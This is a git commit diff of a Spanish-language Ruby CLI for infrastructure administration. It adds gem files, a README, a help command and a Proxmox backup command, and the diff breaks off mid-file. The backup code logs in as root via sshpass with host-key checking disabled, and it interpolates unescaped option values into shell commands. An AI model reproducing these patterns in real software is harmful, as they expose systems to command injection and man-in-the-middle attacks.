Refactor(ADN): Migración de tools/adn a adn/tools en busca de la Armonía Integral del DIIAA
This commit is contained in:
@@ -0,0 +1,3 @@
|
||||
---
|
||||
BUNDLE_PATH: "vendor/bundle"
|
||||
BUNDLE_WITHOUT: "development:test:future"
|
||||
@@ -0,0 +1,76 @@
|
||||
source "https://rubygems.org"
|
||||
|
||||
# Versión de Ruby compatible con Debian 12 (bookworm)
|
||||
ruby "~> 3.0"
|
||||
|
||||
# ─── Gemas principales (runtime) ──────────────────────────────────────
|
||||
|
||||
# Framework web para dashboard (Fase 3)
|
||||
gem "sinatra", "~> 3.0"
|
||||
# Servidor web para Sinatra (requerido en Ruby 3+)
|
||||
gem "webrick", "~> 1.8"
|
||||
|
||||
# Monitoreo de cambios en sistema de archivos (validador --watch)
|
||||
gem "listen", "~> 3.8"
|
||||
|
||||
# Interacción programática con Git (hooks pre-commit, análisis de commits)
|
||||
# gem "rugged", "~> 1.6" # MOVIDO A GRUPO FUTURE (requiere CMake)
|
||||
|
||||
# Procesamiento de JSON (aunque está en stdlib, esta gema ofrece mejor rendimiento)
|
||||
gem "json", "~> 2.6"
|
||||
|
||||
# Notificaciones desktop (validador --watch)
|
||||
gem "libnotify", "~> 0.9", :platforms => :ruby
|
||||
|
||||
# Conexión a PostgreSQL para dtic-BITACORAs
|
||||
gem "pg", "~> 1.5"
|
||||
|
||||
# ─── Gemas de desarrollo y pruebas ────────────────────────────────────
|
||||
group :development, :test do
|
||||
# Framework de pruebas
|
||||
gem "rspec", "~> 3.12"
|
||||
|
||||
# Console interactiva para debugging
|
||||
gem "pry", "~> 0.14"
|
||||
|
||||
# Tareas de construcción
|
||||
gem "rake", "~> 13.0"
|
||||
|
||||
# Cobertura de código
|
||||
gem "simplecov", "~> 0.22"
|
||||
|
||||
# Mocking y stubbing
|
||||
gem "webmock", "~> 3.19"
|
||||
end
|
||||
|
||||
# ─── Gemas opcionales (futuras fases) ────────────────────────────────
|
||||
group :future do
|
||||
# API REST cliente (para integración con dashboard principal)
|
||||
gem "faraday", "~> 2.7"
|
||||
|
||||
# Serialización YAML avanzada
|
||||
gem "safe_yaml", "~> 1.0"
|
||||
|
||||
# Envío de emails (notificaciones por email)
|
||||
gem "mail", "~> 2.8"
|
||||
|
||||
# Cliente SMTP
|
||||
gem "net-smtp", "~> 0.3"
|
||||
|
||||
# Interacción programática con Git (hooks pre-commit, análisis de commits)
|
||||
gem "rugged", "~> 1.6"
|
||||
end
|
||||
|
||||
# ─── Notas de instalación ─────────────────────────────────────────────
|
||||
# Para instalar solo las gemas runtime (sin desarrollo):
|
||||
# bundle install --without development test future
|
||||
#
|
||||
# Para instalar todas las gemas:
|
||||
# bundle install
|
||||
#
|
||||
# Dependencias del sistema (Debian/Ubuntu):
|
||||
# sudo apt install libgit2-dev cmake pkg-config libssl-dev
|
||||
# (necesario para la gema 'rugged')
|
||||
#
|
||||
# Para actualizar gemas:
|
||||
# bundle update
|
||||
@@ -0,0 +1,139 @@
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
addressable (2.8.9)
|
||||
public_suffix (>= 2.0.2, < 8.0)
|
||||
base64 (0.3.0)
|
||||
bigdecimal (4.0.1)
|
||||
coderay (1.1.3)
|
||||
crack (1.0.1)
|
||||
bigdecimal
|
||||
rexml
|
||||
date (3.5.1)
|
||||
diff-lcs (1.6.2)
|
||||
docile (1.4.1)
|
||||
faraday (2.14.1)
|
||||
faraday-net_http (>= 2.0, < 3.5)
|
||||
json
|
||||
logger
|
||||
faraday-net_http (3.4.2)
|
||||
net-http (~> 0.5)
|
||||
ffi (1.17.3)
|
||||
ffi (1.17.3-arm64-darwin)
|
||||
ffi (1.17.3-x86_64-darwin)
|
||||
hashdiff (1.2.1)
|
||||
io-console (0.8.2)
|
||||
json (2.19.0)
|
||||
libnotify (0.9.4)
|
||||
ffi (>= 1.0.11)
|
||||
listen (3.10.0)
|
||||
logger
|
||||
rb-fsevent (~> 0.10, >= 0.10.3)
|
||||
rb-inotify (~> 0.9, >= 0.9.10)
|
||||
logger (1.7.0)
|
||||
mail (2.9.0)
|
||||
logger
|
||||
mini_mime (>= 0.1.1)
|
||||
net-imap
|
||||
net-pop
|
||||
net-smtp
|
||||
method_source (1.1.0)
|
||||
mini_mime (1.1.5)
|
||||
mustermann (3.0.4)
|
||||
ruby2_keywords (~> 0.0.1)
|
||||
net-http (0.9.1)
|
||||
uri (>= 0.11.1)
|
||||
net-imap (0.5.13)
|
||||
date
|
||||
net-protocol
|
||||
net-pop (0.1.2)
|
||||
net-protocol
|
||||
net-protocol (0.2.2)
|
||||
timeout
|
||||
net-smtp (0.5.1)
|
||||
net-protocol
|
||||
pg (1.6.3)
|
||||
pg (1.6.3-arm64-darwin)
|
||||
pg (1.6.3-x86_64-darwin)
|
||||
pg (1.6.3-x86_64-linux)
|
||||
pry (0.16.0)
|
||||
coderay (~> 1.1)
|
||||
method_source (~> 1.0)
|
||||
reline (>= 0.6.0)
|
||||
public_suffix (6.0.2)
|
||||
rack (2.2.22)
|
||||
rack-protection (3.2.0)
|
||||
base64 (>= 0.1.0)
|
||||
rack (~> 2.2, >= 2.2.4)
|
||||
rake (13.3.1)
|
||||
rb-fsevent (0.11.2)
|
||||
rb-inotify (0.11.1)
|
||||
ffi (~> 1.0)
|
||||
reline (0.6.3)
|
||||
io-console (~> 0.5)
|
||||
rexml (3.4.4)
|
||||
rspec (3.13.2)
|
||||
rspec-core (~> 3.13.0)
|
||||
rspec-expectations (~> 3.13.0)
|
||||
rspec-mocks (~> 3.13.0)
|
||||
rspec-core (3.13.6)
|
||||
rspec-support (~> 3.13.0)
|
||||
rspec-expectations (3.13.5)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.13.0)
|
||||
rspec-mocks (3.13.8)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.13.0)
|
||||
rspec-support (3.13.7)
|
||||
ruby2_keywords (0.0.5)
|
||||
rugged (1.9.0)
|
||||
safe_yaml (1.0.5)
|
||||
simplecov (0.22.0)
|
||||
docile (~> 1.1)
|
||||
simplecov-html (~> 0.11)
|
||||
simplecov_json_formatter (~> 0.1)
|
||||
simplecov-html (0.13.2)
|
||||
simplecov_json_formatter (0.1.4)
|
||||
sinatra (3.2.0)
|
||||
mustermann (~> 3.0)
|
||||
rack (~> 2.2, >= 2.2.4)
|
||||
rack-protection (= 3.2.0)
|
||||
tilt (~> 2.0)
|
||||
tilt (2.7.0)
|
||||
timeout (0.6.0)
|
||||
uri (1.1.1)
|
||||
webmock (3.26.1)
|
||||
addressable (>= 2.8.0)
|
||||
crack (>= 0.3.2)
|
||||
hashdiff (>= 0.4.0, < 2.0.0)
|
||||
webrick (1.9.2)
|
||||
|
||||
PLATFORMS
|
||||
arm64-darwin
|
||||
ruby
|
||||
x86_64-darwin
|
||||
x86_64-linux
|
||||
|
||||
DEPENDENCIES
|
||||
faraday (~> 2.7)
|
||||
json (~> 2.6)
|
||||
libnotify (~> 0.9)
|
||||
listen (~> 3.8)
|
||||
mail (~> 2.8)
|
||||
net-smtp (~> 0.3)
|
||||
pg (~> 1.5)
|
||||
pry (~> 0.14)
|
||||
rake (~> 13.0)
|
||||
rspec (~> 3.12)
|
||||
rugged (~> 1.6)
|
||||
safe_yaml (~> 1.0)
|
||||
simplecov (~> 0.22)
|
||||
sinatra (~> 3.0)
|
||||
webmock (~> 3.19)
|
||||
webrick (~> 1.8)
|
||||
|
||||
RUBY VERSION
|
||||
ruby 3.1.2p20
|
||||
|
||||
BUNDLED WITH
|
||||
2.6.9
|
||||
@@ -0,0 +1,74 @@
|
||||
# 🧬 ADN Tools (Núcleo Autónomo)
|
||||
|
||||
## Resumen Ejecutivo
|
||||
`adn/tools` es el motor de ejecución y automatización del sistema **ADN (Artificial DNA)**. Implementa la lógica necesaria para garantizar la "Armonía Integral" de la infraestructura mediante validación proactiva, gestión de eventos y protocolos de ejecución autónomos. Actúa como el puente técnico entre las especificaciones declarativas (hebras `.md`) y la realidad operativa del servidor.
|
||||
|
||||
---
|
||||
|
||||
## 🔍 Análisis Estructural
|
||||
|
||||
### Arquitectura
|
||||
El proyecto sigue un patrón **Modular y Dirigido por Eventos**:
|
||||
- **Entry Point**: `adn/tools.rb` centraliza la interfaz de línea de comandos (CLI).
|
||||
- **Bus de Eventos**: `ADN::Eventos` (Singleton) gestiona la comunicación desacoplada entre componentes.
|
||||
- **Motor de Triggers**: `ADN::Triggers` (Singleton) orquestra acciones automáticas basadas en la configuración de `adn/triggers.yml`.
|
||||
- **Estrategia de Subcomandos**: Cada funcionalidad mayor reside en su propio archivo `subcomando_*.rb`, facilitando la extensibilidad.
|
||||
|
||||
### Archivos Críticos
|
||||
1. **`adn.rb`**: El orquestador principal. Si este falla, se pierde la interfaz de gestión.
|
||||
2. **`adn/eventos.rb`**: El "sistema nervioso". Permite que un cambio en una bitácora dispare validaciones o backups.
|
||||
3. **`adn/validador.rb`**: El "guardián" de la calidad. Protege la integridad de las bitácoras y fichas de nodos.
|
||||
4. **`adn/triggers.rb`**: Implementa la lógica de reacción del sistema.
|
||||
|
||||
---
|
||||
|
||||
## ⚙️ Configuración y Tecnologías
|
||||
|
||||
### Stack Tecnológico
|
||||
- **Lenguaje**: Ruby (Enfoque en scripting robusto y legible).
|
||||
- **Configuración**: YAML (`adn/triggers.yml` y `adn/tools/config.yml`).
|
||||
- **Logging**: JSON estructurado para integración con sistemas de monitoreo externos.
|
||||
- **Hooks**: Integración con Git mediante `adn/tools/hooks/pre-commit`.
|
||||
|
||||
### Comandos Esenciales
|
||||
```bash
|
||||
# Validar cumplimiento de bitácoras
|
||||
./adn/tools/run validador
|
||||
|
||||
# Ejecutar backup seguro de un nodo
|
||||
./adn/tools/run backup <nombre-nodo>
|
||||
|
||||
# Ver salud del sistema
|
||||
./adn/tools/run salud --json
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🧠 Contexto para IA (Directivas)
|
||||
|
||||
### Convenciones Proyectuales
|
||||
- **Singleton**: Los motores centrales (Eventos, Triggers, Logger) deben accederse siempre mediante su instancia única.
|
||||
- **Bitácora-First**: Ninguna acción operativa debe ejecutarse sin antes registrarse en la bitácora del día actual.
|
||||
- **Seguridad**: Nunca exponer secretos en `stdout`. Usar `ns8-candados run` para inyección de entorno.
|
||||
|
||||
### Áreas Delicadas / Deuda Técnica
|
||||
- ⚠️ **Sincronización Batch**: El sistema de triggers utiliza `stubs` para muchas acciones de la Fase 2 que aún deben desarrollarse.
|
||||
- ⚠️ **Modo Watch**: El validador en tiempo real (basado en `listen`) es una tarea pendiente de la Fase 1.
|
||||
- ⚠️ **Métricas**: La extracción de telemetría desde las bitácoras es incipiente y requiere mayor robustez en el parser.
|
||||
|
||||
---
|
||||
|
||||
## 🚀 Próximos Pasos
|
||||
|
||||
### Tareas Prioritarias
|
||||
1. **Implementar Triggers**: Desarrollar la lógica real para las 14 acciones definidas en `adn/triggers.yml`.
|
||||
2. **Refinar `backup`**: Añadir soporte para protocolos XEN y Rclone dentro del subcomando unificado.
|
||||
3. **Dashboard de Salud**: Desarrollar la vista visual de `./adn/tools/run salud --dashboard`.
|
||||
|
||||
### Preguntas para el Desarrollador
|
||||
- ¿Cómo se deben manejar las colisiones de eventos si dos triggers disparan acciones contradictorias?
|
||||
- ¿Es necesario persistir el estado del bus de eventos o es puramente efímero?
|
||||
- ¿Qué nivel de criticidad tiene el fallo de un trigger en la operación general?
|
||||
|
||||
---
|
||||
*Documentación generada automáticamente siguiendo el estándar `docs/prompt/documentacion.md`.*
|
||||
@@ -0,0 +1,110 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
require_relative '../core/colores'
|
||||
|
||||
class SubcomandoAyuda
|
||||
def initialize(args, logger)
|
||||
@args = args
|
||||
@logger = logger
|
||||
end
|
||||
|
||||
def ejecutar
|
||||
if @args.empty?
|
||||
mostrar_ayuda_principal
|
||||
else
|
||||
mostrar_ayuda_subcomando(@args[0])
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def mostrar_ayuda_principal
|
||||
puts <<~AYUDA_PRINCIPAL
|
||||
#{Color::CYAN}🔧 Herramienta ADN - Interfaz de línea de comandos unificada#{Color::RESET}
|
||||
#{Color::DIM}Versión: Fase 1 (Núcleo Autónomo)#{Color::RESET}
|
||||
|
||||
#{Color::GREEN}Uso:#{Color::RESET} ./adn/tools/run <subcomando> [opciones] [argumentos]
|
||||
|
||||
#{Color::YELLOW}Subcomandos disponibles:#{Color::RESET}
|
||||
validador [--watch] [--fix] Validar cumplimiento del ADN en bitácoras
|
||||
contexto <nodo> [--cmd] Obtener contexto topológico de un nodo
|
||||
salud [--dashboard] [--json] Ver salud general del sistema ADN
|
||||
generar bitacora [fecha] Generar nueva bitácora (fecha: YYYY-MM-DD)
|
||||
generar nodo <nombre> Generar ficha de nodo
|
||||
#{Color::YELLOW}generar proyecto <código>#{Color::RESET} Generar manifiesto de proyecto
|
||||
#{Color::YELLOW}backup <nodo> [--mode MODO]#{Color::RESET} Ejecutar backup seguro de un nodo
|
||||
#{Color::YELLOW}inicio de jornada [presencial|remoto]#{Color::RESET} Inicio de jornada laboral
|
||||
#{Color::YELLOW}cierre de jornada [presencial|remoto]#{Color::RESET} Cierre de jornada laboral
|
||||
#{Color::YELLOW}triggers [opciones]#{Color::RESET} Gestión del motor de triggers
|
||||
#{Color::YELLOW}ayuda [subcomando]#{Color::RESET} Mostrar esta ayuda o ayuda específica
|
||||
|
||||
#{Color::YELLOW}Subcomandos en desarrollo (Fases futuras):#{Color::RESET}
|
||||
evolucion <propuesta.md> Gestionar propuesta de evolución del ADN
|
||||
triggers [--test] [--force] Ejecutar triggers de sincronización
|
||||
|
||||
#{Color::DIM}Para ayuda detallada de un subcomando:#{Color::RESET}
|
||||
./adn/tools/run ayuda <subcomando>
|
||||
|
||||
#{Color::DIM}Documentación completa:#{Color::RESET} docs/plan/260307-1400_Plan_Mejoras_ADN.md
|
||||
AYUDA_PRINCIPAL
|
||||
end
|
||||
|
||||
def mostrar_ayuda_subcomando(subcomando)
|
||||
case subcomando.downcase
|
||||
when 'validador'
|
||||
puts "Uso: ./adn/tools/run validador [--watch] [--fix]"
|
||||
puts ""
|
||||
puts "Valida el cumplimiento del ADN en las bitácoras:"
|
||||
puts " • Formato de tiempo (HH:MM, sin \"hs\")"
|
||||
puts " • Iconografía de estados y semántica correcta"
|
||||
puts " • Presencia de métricas híbridas ([Físico/Remoto:])"
|
||||
puts " • Referencias bidireccionales en rollovers"
|
||||
puts " • Estructura de tablas en bitácoras"
|
||||
puts ""
|
||||
puts "Opciones:"
|
||||
puts " --watch Monitorizar cambios en tiempo real (Fase 1 completa)"
|
||||
puts " --fix Intentar corregir errores automáticamente"
|
||||
puts ""
|
||||
puts "Ejemplo:"
|
||||
puts " ./adn/tools/run validador"
|
||||
puts " ./adn/tools/run validador --fix"
|
||||
when 'contexto'
|
||||
puts "Uso: ./adn/tools/run contexto <nombre-nodo> [--cmd]"
|
||||
puts ""
|
||||
puts "Obtiene información contextual de un nodo:"
|
||||
puts " • IP y configuración de red"
|
||||
puts " • Rol en la topología"
|
||||
puts " • Comandos SSH sugeridos"
|
||||
puts ""
|
||||
puts "Ejemplo:"
|
||||
puts " ./adn/tools/run contexto srv-pmox1"
|
||||
puts " ./adn/tools/run contexto srvv-fenix --cmd"
|
||||
when 'salud'
|
||||
puts "Uso: ./adn/tools/run salud [--dashboard] [--json]"
|
||||
puts ""
|
||||
puts "Muestra métricas de salud del sistema ADN:"
|
||||
puts " • Cantidad de hebras, bitácoras, nodos, proyectos"
|
||||
puts " • Errores recientes en logs"
|
||||
puts ""
|
||||
puts "Ejemplo:"
|
||||
puts " ./adn/tools/run salud"
|
||||
puts " ./adn/tools/run salud --json"
|
||||
when 'generar'
|
||||
puts "Uso: ./adn/tools/run generar <tipo> [argumentos]"
|
||||
puts ""
|
||||
puts "Tipos disponibles:"
|
||||
puts " bitacora [fecha] - Crea nueva bitácora (fecha: YYYY-MM-DD, default: hoy)"
|
||||
puts " nodo <nombre> - Crea ficha de nodo"
|
||||
puts " proyecto <código> - Crea manifiesto de proyecto"
|
||||
puts ""
|
||||
puts "Ejemplos:"
|
||||
puts " ./adn/tools/run generar bitacora"
|
||||
puts " ./adn/tools/run generar bitacora 2026-03-08"
|
||||
puts " ./adn/tools/run generar nodo srv-nuevo"
|
||||
puts " ./adn/tools/run generar proyecto P2604"
|
||||
else
|
||||
puts "#{Color::RED}✗ Subcomando desconocido: #{subcomando}#{Color::RESET}"
|
||||
puts "Usa './adn/tools/run ayuda' para ver la lista de subcomandos."
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,651 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
require 'optparse'
|
||||
require 'fileutils'
|
||||
require 'date'
|
||||
require_relative '../core/configurador'
|
||||
|
||||
module ADN
|
||||
class SubcomandoBackup
|
||||
def initialize(args, logger)
|
||||
@args = args
|
||||
@logger = logger
|
||||
|
||||
# Cargar valores predeterminados desde config.yml
|
||||
defaults = Configurador.obtener('backup.defaults') || {}
|
||||
@opciones = {
|
||||
modo: defaults['modo'] || 'stop',
|
||||
storage: defaults['storage'] || 'local',
|
||||
compress: defaults['compress'] || 'gzip',
|
||||
retencion: defaults['retencion_dias'] || 6
|
||||
}
|
||||
end
|
||||
|
||||
def ejecutar
|
||||
parser = OptionParser.new do |opts|
|
||||
opts.banner = "Uso: ./adn/tools/run backup <nodo|estados> [OPCIONES]"
|
||||
opts.separator ""
|
||||
opts.separator "Ejecuta un backup remoto o consulta el estado actual."
|
||||
opts.separator ""
|
||||
opts.separator "Acciones:"
|
||||
opts.separator " <nodo> Ejecutar backup del nodo especificado"
|
||||
opts.separator " estados Ver estado actual de los backups en Proxmox"
|
||||
opts.separator " sanear Limpiar backups antiguos según retención"
|
||||
opts.separator " predeterminar Configurar valores por defecto"
|
||||
opts.separator ""
|
||||
opts.separator "Opciones:"
|
||||
opts.on("--mode MODO", "Modo de backup (stop, snapshot, suspend. Default: #{@opciones[:modo]})") do |m|
|
||||
@opciones[:modo] = m
|
||||
end
|
||||
opts.on("--storage STORAGE", "Nombre del storage en Proxmox (Default: #{@opciones[:storage]})") do |s|
|
||||
@opciones[:storage] = s
|
||||
end
|
||||
opts.on("-h", "--help", "Mostrar esta ayuda") do
|
||||
puts opts
|
||||
exit
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
parser.parse!(@args)
|
||||
rescue OptionParser::InvalidOption => e
|
||||
@logger.error("Opción inválida: #{e.message}")
|
||||
puts parser
|
||||
exit 1
|
||||
end
|
||||
|
||||
if @args.empty?
|
||||
@logger.error("Se requiere nombre de nodo o acción")
|
||||
puts parser
|
||||
exit 1
|
||||
end
|
||||
|
||||
case @args[0]
|
||||
when 'predeterminar'
|
||||
comando_predeterminar(@args[1..-1])
|
||||
when 'estados', 'estado'
|
||||
comando_estados
|
||||
when 'sanear'
|
||||
comando_sanear
|
||||
else
|
||||
ejecutar_backup(@args[0])
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def ejecutar_backup(nodo)
|
||||
@logger.info("Iniciando flujo ADN-Backup para nodo: #{nodo}")
|
||||
|
||||
# 1. Obtener contexto del nodo
|
||||
datos = obtener_contexto_nodo(nodo)
|
||||
unless datos
|
||||
@logger.error("No se pudo determinar el contexto técnico para #{nodo}")
|
||||
exit 1
|
||||
end
|
||||
|
||||
@logger.info("Contexto validado: VM #{datos[:vmid]} en #{datos[:host_name]} (#{datos[:host_ip]})")
|
||||
|
||||
# 2. Registrar inicio en bitácora (Bitácora-First)
|
||||
registrar_inicio_bitacora(nodo, datos)
|
||||
|
||||
# 3. Ejecución segura vía ns8-candados
|
||||
@logger.info("Solicitando autorización y ejecutando backup remoto...")
|
||||
|
||||
comando_vzdump = "vzdump #{datos[:vmid]} --mode #{@opciones[:modo]} --storage #{@opciones[:storage]} --compress #{@opciones[:compress]}"
|
||||
cmd_seguro = "sshpass -e ssh -o StrictHostKeyChecking=no root@#{datos[:host_ip]} \"#{comando_vzdump}\""
|
||||
|
||||
# Usamos el binario de ruby y la ruta absoluta para ns8-candados
|
||||
candados_path = File.join(ADN::PROJECT_ROOT, 'tools', 'ns8-candados', 'ns8-candados.rb')
|
||||
|
||||
# Ejecutar con ns8-candados run
|
||||
# Ejecutar con ns8-candados autorizando primero
|
||||
system("ruby #{candados_path} authorize > /dev/null 2>&1")
|
||||
|
||||
task_id = nil
|
||||
full_output = ""
|
||||
|
||||
# Usar popen para leer la salida en tiempo real
|
||||
@logger.info("Conectando y monitoreando salida de Proxmox...")
|
||||
|
||||
IO.popen("ruby #{candados_path} run admindasu SSHPASS '#{cmd_seguro}' 2>&1") do |pf|
|
||||
pf.each_line do |line|
|
||||
# Imprimir flujo para el usuario
|
||||
puts " #{Color::DIM}#{line.strip}#{Color::RESET}"
|
||||
full_output += line
|
||||
|
||||
# Si detectamos el Task ID al inicio, lo registramos de inmediato
|
||||
if task_id.nil? && match = line.match(/started backup task '([^']+)'/)
|
||||
task_id = match[1]
|
||||
@logger.info("Task ID detectado: #{task_id}. Registrando en bitácora...")
|
||||
registrar_task_id_bitacora(nodo, task_id)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
success = $?.success?
|
||||
|
||||
# 4. Finalizar y cerrar
|
||||
system("ruby #{candados_path} cerrar > /dev/null 2>&1")
|
||||
|
||||
if success
|
||||
@logger.exito("Backup de #{nodo} completado exitosamente.")
|
||||
registrar_fin_bitacora(nodo, true, task_id)
|
||||
else
|
||||
@logger.error("La ejecución del backup falló.")
|
||||
registrar_fin_bitacora(nodo, false, task_id)
|
||||
exit 1
|
||||
end
|
||||
end
|
||||
|
||||
def obtener_contexto_nodo(nombre_nodo)
|
||||
ruta_nodo = File.join(ADN::NODOS_DIR, "#{nombre_nodo}.md")
|
||||
unless File.exist?(ruta_nodo)
|
||||
@logger.error("No existe el archivo de nodo: #{ruta_nodo}")
|
||||
@logger.sugerencia("./adn/tools/run db nodo:crear --nombre #{nombre_nodo} --tipo servidor --ip 0.0.0.0 --desc \"Servidor a configurar\"")
|
||||
return nil
|
||||
end
|
||||
|
||||
contenido = File.read(ruta_nodo)
|
||||
vmid = contenido.match(/(?:VM ID|vmid|VMID)\*\*?:?\s*`?(\d+)`?/i)&.[](1)
|
||||
host_name = contenido.match(/(?:Padre\/Host|Host Anfitrión|Anfitrión|Host)\*\*:?\s*`([^`]+)`/i)&.[](1)
|
||||
|
||||
unless vmid && host_name
|
||||
@logger.error("Contexto incompleto en #{nombre_nodo}.md: VMID=#{vmid}, Host=#{host_name}")
|
||||
@logger.sugerencia([
|
||||
"Asegurate de que #{nombre_nodo}.md tenga las siguientes líneas:",
|
||||
"- **Padre/Host**: `srv-proxmox-ejemplo`",
|
||||
"- **VMID**: `1xx`"
|
||||
])
|
||||
return nil
|
||||
end
|
||||
|
||||
# Buscar IP del host
|
||||
ruta_host = File.join(ADN::NODOS_DIR, "#{host_name}.md")
|
||||
host_ip = nil
|
||||
if File.exist?(ruta_host)
|
||||
c_host = File.read(ruta_host)
|
||||
host_ip ||= c_host.match(/\|\s*IP[^\|]*\|\s*`([^`]+)`\s*\|/)&.[](1)
|
||||
host_ip ||= c_host.match(/IP\*\*:?\s*`([^`]+)`/)&.[](1)
|
||||
host_ip ||= c_host.match(/IP:\s*([\d\.]+)/)&.[](1)
|
||||
end
|
||||
|
||||
unless host_ip
|
||||
@logger.error("No se encontró IP para el host #{host_name}")
|
||||
@logger.sugerencia([
|
||||
"Verificá que el archivo #{host_name}.md exista.",
|
||||
"Si no existe, crealo con: ./adn/tools/run db nodo:crear --nombre #{host_name} --tipo servidor --ip DIRECCION_IP",
|
||||
"Asegurate de que incluya: **IP**: `DIRECCION_IP`"
|
||||
])
|
||||
return nil
|
||||
end
|
||||
|
||||
host_ip = host_ip.split('/')[0] if host_ip.include?('/')
|
||||
{ vmid: vmid, host_name: host_name, host_ip: host_ip }
|
||||
end
|
||||
|
||||
def registrar_inicio_bitacora(nodo, datos)
|
||||
require_relative '../db/core/bitacora_db'
|
||||
|
||||
BitacorasDB::BitacoraDB.with_connection do |db|
|
||||
# Asegurar bitácora
|
||||
bitacora = db.find_bitacora_by_fecha(Date.today)
|
||||
bitacora ||= db.create_bitacora(fecha: Date.today)
|
||||
|
||||
# Buscar nodo en DB
|
||||
nodo_db = db.find_nodo_by_nombre(nodo)
|
||||
|
||||
hora = Time.now.strftime('%H:%M')
|
||||
entrada = db.create_entrada(
|
||||
inicio: hora,
|
||||
descripcion: "Inicio de backup remoto vía SSH para VM #{datos[:vmid]} en #{datos[:host_name]}.",
|
||||
estado: '⏳',
|
||||
modo: 'R',
|
||||
bitacora_id: bitacora['id'],
|
||||
nodo_id: nodo_db ? nodo_db['id'] : nil
|
||||
)
|
||||
|
||||
# Guardar ID para actualizar después
|
||||
@backup_entrada_id = entrada['id'].to_i
|
||||
@backup_bitacora_id = bitacora['id'].to_i
|
||||
end
|
||||
rescue => e
|
||||
@logger.error("Error registrando inicio en DB: #{e.message}")
|
||||
end
|
||||
|
||||
def registrar_task_id_bitacora(nodo, task_id)
|
||||
return unless @backup_entrada_id
|
||||
|
||||
require_relative '../db/core/bitacora_db'
|
||||
|
||||
BitacorasDB::BitacoraDB.with_connection do |db|
|
||||
db.update_entrada(@backup_entrada_id, {
|
||||
descripcion: "[task:#{task_id[0..7]}] Backup remoto en ejecución."
|
||||
})
|
||||
end
|
||||
rescue => e
|
||||
@logger.error("Error registrando task_id en DB: #{e.message}")
|
||||
end
|
||||
|
||||
def registrar_fin_bitacora(nodo, exito, task_id = nil)
|
||||
return unless @backup_entrada_id
|
||||
|
||||
require_relative '../db/core/bitacora_db'
|
||||
require_relative '../db/exporters/md_exporter'
|
||||
|
||||
hora_fin = Time.now.strftime('%H:%M')
|
||||
estado = exito ? '✅' : '⚠️'
|
||||
desc = exito ? 'Backup completado exitosamente.' : 'Fallo en la ejecución del backup.'
|
||||
desc = "[task:#{task_id[0..7]}] #{desc}" if task_id
|
||||
|
||||
BitacorasDB::BitacoraDB.with_connection do |db|
|
||||
db.update_entrada(@backup_entrada_id, {
|
||||
fin: hora_fin,
|
||||
descripcion: desc,
|
||||
estado: estado
|
||||
})
|
||||
end
|
||||
rescue => e
|
||||
@logger.error("Error registrando fin en DB: #{e.message}")
|
||||
end
|
||||
|
||||
|
||||
def comando_predeterminar(args)
|
||||
if args.length < 2
|
||||
puts "#{Color::YELLOW}Uso: adn backup predeterminar <parametro> <valor>#{Color::RESET}"
|
||||
puts "Ej: adn backup predeterminar modo snapshot"
|
||||
exit 1
|
||||
end
|
||||
|
||||
param = args[0].downcase
|
||||
valor = args[1]
|
||||
param = 'modo' if param == 'mode'
|
||||
param = 'retencion_dias' if param == 'edad'
|
||||
|
||||
unless ['modo', 'storage', 'compress', 'retencion_dias'].include?(param)
|
||||
@logger.error("Parámetro no predeterminable: #{param}")
|
||||
exit 1
|
||||
end
|
||||
|
||||
Configurador.establecer("backup.defaults.#{param}", valor)
|
||||
@logger.exito("Valor predeterminado establecido: backup.#{param} = #{valor}")
|
||||
puts "#{Color::GREEN}✓ Se ha predeterminado el #{param} a '#{valor}' para futuros backups.#{Color::RESET}"
|
||||
end
|
||||
|
||||
def comando_estados
|
||||
@logger.info("Consultando estado de backups en cluster Proxmox")
|
||||
|
||||
# Lista de hosts a consultar
|
||||
hosts = [
|
||||
{ nombre: 'srv-pmox1', ip: '10.0.10.201' },
|
||||
{ nombre: 'srv-dasu', ip: '10.0.10.205' }
|
||||
]
|
||||
|
||||
puts "\n#{Color::BOLD}🔍 Estado de Backups en Tiempo Real (Proxmox)#{Color::RESET}"
|
||||
puts "─" * 60
|
||||
|
||||
candados_path = File.join(ADN::PROJECT_ROOT, 'tools', 'ns8-candados', 'ns8-candados.rb')
|
||||
# Asegurar autorización general para el lote
|
||||
system("ruby #{candados_path} authorize > /dev/null 2>&1")
|
||||
|
||||
all_tasks_accumulated = []
|
||||
|
||||
hosts.each do |h|
|
||||
print "📡 Conectando a #{h[:nombre]} (#{h[:ip]})... "
|
||||
|
||||
# Intentamos obtener tareas
|
||||
cmd = "/usr/bin/pvesh get /cluster/tasks --output-format json"
|
||||
cmd_seguro = "ssh -o StrictHostKeyChecking=no root@#{h[:ip]} '#{cmd}'"
|
||||
|
||||
# Ejecutamos vía candados run
|
||||
output = `ruby #{candados_path} run admindasu SSHPASS '#{cmd_seguro}' 2>&1`
|
||||
|
||||
if output.include?('[')
|
||||
begin
|
||||
# Extraer el JSON
|
||||
json_str = output[output.index('[')..output.rindex(']')]
|
||||
tasks_host = JSON.parse(json_str)
|
||||
all_tasks_accumulated.concat(tasks_host)
|
||||
|
||||
# Filtrar tareas vzdump activas de ESTE host para mostrar
|
||||
tasks_activas = tasks_host.select { |t| t['type'] == 'vzdump' && t['endtime'].nil? }
|
||||
|
||||
puts "#{Color::GREEN}OK#{Color::RESET}"
|
||||
if tasks_activas.empty?
|
||||
puts " #{Color::DIM}Sin tareas de backup activas en este host.#{Color::RESET}"
|
||||
else
|
||||
tasks_activas.each do |t|
|
||||
msg = t['status'] || 'ejecutando'
|
||||
print " ▶ #{Color::CYAN}#{t['id']}#{Color::RESET} "
|
||||
puts "[#{msg}] (Iniciado: #{Time.at(t['starttime']).strftime('%H:%M:%S')})"
|
||||
end
|
||||
end
|
||||
rescue => e
|
||||
puts "#{Color::YELLOW}JSON ERROR#{Color::RESET}"
|
||||
puts " #{Color::DIM}Error parseando respuesta: #{e.message}#{Color::RESET}"
|
||||
end
|
||||
else
|
||||
